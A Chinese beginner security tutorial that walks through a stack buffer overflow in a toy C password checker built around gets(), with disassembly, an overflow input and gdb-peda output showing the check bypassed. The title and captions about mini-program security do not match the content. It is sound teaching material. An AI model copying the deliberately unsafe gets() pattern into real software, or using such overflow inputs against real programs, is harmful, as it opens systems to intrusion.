小程序如何保证数据的安全 (安全学习小程序开发入门)

文章目录

  • 程序源码
  • 汇编分析
  • 程序调试

本文通过一个简单的密码验证的小程序来演示在输入密码错误的情况下仍然可以通过验证的方法。其中用到了缓冲区溢出的原理,通过该文章的学习,即可成功入门信息安全。

本文需要用到一些基础的汇编知识。

首先看程序的源码

程序源码

#include <string.h>
#include <stdio.h>

int main(void)
{
    char buff[15];
    int pass = 0 ; 
          
    printf("\n please input the password\n");

    gets(buff);
    if(strcmp(buff,"hello")){
        printf("\npassword wrong\n");
    }     
    else{
        printf("\npassword right\n");
        pass = 1;
    }     
    if(pass){
        printf("\ncongratulations\n");
    }     
    return 0;
}

该代码首先分配了15个字节的buff和4个字节的pass。接着使用gets函数接受输入存在buff中。( gets函数是不安全的,工作中使用一定要慎重哦 !!)接着该代码使用strcmp进行字符串比较判断输入的密码是否正确,如果正确则打印出password right,并打印出congratulations,如果错误,则打印出password wrong。

而我们的目的是在 密码输入错误的情况下,让程序也能打印出congratulations。

接下来,我们就开始分析该程序。

汇编分析

通过反汇编,我们可以得到如下的代码:

gdb-peda$ pdisass main
Dump of assembler code for function main():
   0x000000000040067d <+0>:	push   rbp
   0x000000000040067e <+1>:	mov    rbp,rsp
   0x0000000000400681 <+4>:	sub    rsp,0x20
   0x0000000000400685 <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040068c <+15>:	mov    edi,0x400780
   0x0000000000400691 <+20>:	call   0x400550 <puts@plt>
   0x0000000000400696 <+25>:	lea    rax,[rbp-0x20]
   0x000000000040069a <+29>:	mov    rdi,rax
   0x000000000040069d <+32>:	call   0x400570 <gets@plt>
   0x00000000004006a2 <+37>:	lea    rax,[rbp-0x20]
   0x00000000004006a6 <+41>:	mov    esi,0x40079c
   0x00000000004006ab <+46>:	mov    rdi,rax
   0x00000000004006ae <+49>:	call   0x400580 <strcmp@plt>
   0x00000000004006b3 <+54>:	test   eax,eax
   0x00000000004006b5 <+56>:	je     0x4006c3 <main()+70>
   0x00000000004006b7 <+58>:	mov    edi,0x4007a2
   0x00000000004006bc <+63>:	call   0x400550 <puts@plt>
   0x00000000004006c1 <+68>:	jmp    0x4006d4 <main()+87>
   0x00000000004006c3 <+70>:	mov    edi,0x4007b2
   0x00000000004006c8 <+75>:	call   0x400550 <puts@plt>
   0x00000000004006cd <+80>:	mov    DWORD PTR [rbp-0x4],0x1
   0x00000000004006d4 <+87>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x00000000004006d8 <+91>:	je     0x4006e4 <main()+103>
   0x00000000004006da <+93>:	mov    edi,0x4007c2
   0x00000000004006df <+98>:	call   0x400550 <puts@plt>
   0x00000000004006e4 <+103>:	mov    eax,0x0
   0x00000000004006e9 <+108>:	leave  
   0x00000000004006ea <+109>:	ret    
End of assembler dump.

首先看下面这行:

sub    rsp,0x20

将rsp-0x20,相当于给栈区分配了32个字节的空间。0x20=32(十进制)。

我们的代码中,实际上只有15+4=19个字节的大小,但是因为内存对齐,实际上编译器分配了32个字节的空间。

char buff[15];
int pass = 0 ; 

接下来

mov    DWORD PTR [rbp-0x4],0x0

这一行实际上就是给pass进行赋值,pass=0。

接着往下可以看

   0x0000000000400696 <+25>:	lea    rax,[rbp-0x20]
   0x000000000040069a <+29>:	mov    rdi,rax
   0x000000000040069d <+32>:	call   0x400570 <gets@plt>

在get函数之前,有这么一句 rbp-0x20 ,这个实际上就是buff的地址。

看到这里我们基本就对buff和pass存储的位置有了印象。

由于程序中使用的是gets函数,而gets函数是可以进行缓冲区溢出的,那么如果我们一次性将32个字节的内存区域全部填满,那么就可以将pass赋值为别的值,那么就有可能跳过密码检查。根据猜想,我们输入:

aaaaaaaaaaaaaaaBBBBBBBBBBBBBBBBBBBBB

如下所示:

# root @ localhost in /home/code/test [11:05:32] 
$ ./test

 please input the password
aaaaaaaaaaaaaaaBBBBBBBBBBBBBBBBBBBBB

password wrong

congratulations

发现虽然打印出password wrong 但是还是打印出了congratulations。

程序调试

进入gdb 中,我们通过调试来验证我们的想法:

gdb-peda$ pdisass main
Dump of assembler code for function main():
   0x000000000040067d <+0>:	push   rbp
   0x000000000040067e <+1>:	mov    rbp,rsp
   0x0000000000400681 <+4>:	sub    rsp,0x20
   0x0000000000400685 <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040068c <+15>:	mov    edi,0x400780
   0x0000000000400691 <+20>:	call   0x400550 <puts@plt>
   0x0000000000400696 <+25>:	lea    rax,[rbp-0x20]
   0x000000000040069a <+29>:	mov    rdi,rax
   0x000000000040069d <+32>:	call   0x400570 <gets@plt>
   0x00000000004006a2 <+37>:	lea    rax,[rbp-0x20]
   0x00000000004006a6 <+41>:	mov    esi,0x40079c
   0x00000000004006ab <+46>:	mov    rdi,rax
   0x00000000004006ae <+49>:	call   0x400580 <strcmp@plt>
   0x00000000004006b3 <+54>:	test   eax,eax
   0x00000000004006b5 <+56>:	je     0x4006c3 <main()+70>
   0x00000000004006b7 <+58>:	mov    edi,0x4007a2
   0x00000000004006bc <+63>:	call   0x400550 <puts@plt>
   0x00000000004006c1 <+68>:	jmp    0x4006d4 <main()+87>
   0x00000000004006c3 <+70>:	mov    edi,0x4007b2
   0x00000000004006c8 <+75>:	call   0x400550 <puts@plt>
   0x00000000004006cd <+80>:	mov    DWORD PTR [rbp-0x4],0x1
   0x00000000004006d4 <+87>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x00000000004006d8 <+91>:	je     0x4006e4 <main()+103>
   0x00000000004006da <+93>:	mov    edi,0x4007c2
   0x00000000004006df <+98>:	call   0x400550 <puts@plt>
   0x00000000004006e4 <+103>:	mov    eax,0x0
   0x00000000004006e9 <+108>:	leave  
   0x00000000004006ea <+109>:	ret    
End of assembler dump.
12345678910111213141516171819202122232425262728293031

下断点,输入密码:

gdb-peda$ b *main+49
Breakpoint 1 at 0x4006ae: file test.cpp, line 12.
gdb-peda$ R
Starting program: /home/code/test/./test 

 please input the password
aaaaaaaaaaaaaaaBBBBBBBBBBBBBBBBBBBBB

结果如下

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe2e0 ('a' <repeats 15 times>, 'B' <repeats 21 times>)
RBX: 0x0 
RCX: 0xfbad2288 
RDX: 0x7ffff75b7a10 --> 0x0 
RSI: 0x40079c --> 0x700a006f6c6c6568 ('hello')
RDI: 0x7fffffffe2e0 ('a' <repeats 15 times>, 'B' <repeats 21 times>)
RBP: 0x7fffffffe300 --> 0x42424242 ('BBBB')
RSP: 0x7fffffffe2e0 ('a' <repeats 15 times>, 'B' <repeats 21 times>)
RIP: 0x4006ae (<main()+49>:	call   0x400580 <strcmp@plt>)
R8 : 0x7ffff7ff7025 --> 0x0 
R9 : 0x0 
R10: 0x24 ('#39;)
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe3e0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4006a2 <main()+37>:	lea    rax,[rbp-0x20]
   0x4006a6 <main()+41>:	mov    esi,0x40079c
   0x4006ab <main()+46>:	mov    rdi,rax
=> 0x4006ae <main()+49>:	call   0x400580 <strcmp@plt>
   0x4006b3 <main()+54>:	test   eax,eax
   0x4006b5 <main()+56>:	je     0x4006c3 <main()+70>
   0x4006b7 <main()+58>:	mov    edi,0x4007a2
   0x4006bc <main()+63>:	call   0x400550 <puts@plt>
Guessed arguments:
arg[0]: 0x7fffffffe2e0 ('a' <repeats 15 times>, 'B' <repeats 21 times>)
arg[1]: 0x40079c --> 0x700a006f6c6c6568 ('hello')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe2e0 ('a' <repeats 15 times>, 'B' <repeats 21 times>)
0008| 0x7fffffffe2e8 ("aaaaaaa", 'B' <repeats 21 times>)
0016| 0x7fffffffe2f0 ('B' <repeats 20 times>)
0024| 0x7fffffffe2f8 ('B' <repeats 12 times>)
0032| 0x7fffffffe300 --> 0x42424242 ('BBBB')
0040| 0x7fffffffe308 --> 0x7ffff7210555 (<__libc_start_main+245>:	mov    edi,eax)
0048| 0x7fffffffe310 --> 0x0 
0056| 0x7fffffffe318 --> 0x7fffffffe3e8 --> 0x7fffffffe68b ("/home/code/test/./test")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006ae in main () at test.cpp:12
12	    if(strcmp(buff,"hello")){

12345678910111213141516171819202122232425262728293031323334353637383940414243444546

通过gdb 打印出rbp pass和buff的地址,

gdb-peda$ p $rbp
$4 = (void *) 0x7fffffffe300
gdb-peda$ p &pass
$5 = (int *) 0x7fffffffe2fc
gdb-peda$ p &buff
$6 = (char (*)[15]) 0x7fffffffe2e0

rbp pass和buff 在内存地址的分配如下图所示:

微信小程序的信息安全,信息安全相关的小程序

栈区存储位置图

打印rsp地址向上32字节中的内容,我们发现已经将pass所在的位置替换成了0x42 0x42 0x42 0x42,如下图所示:

微信小程序的信息安全,信息安全相关的小程序

栈区存储的数据

敲击c(continue),成功跳过了验证。

gdb-peda$ c
Continuing.

password wrong

congratulations
[Inferior 1 (process 19009) exited normally]
Warning: not running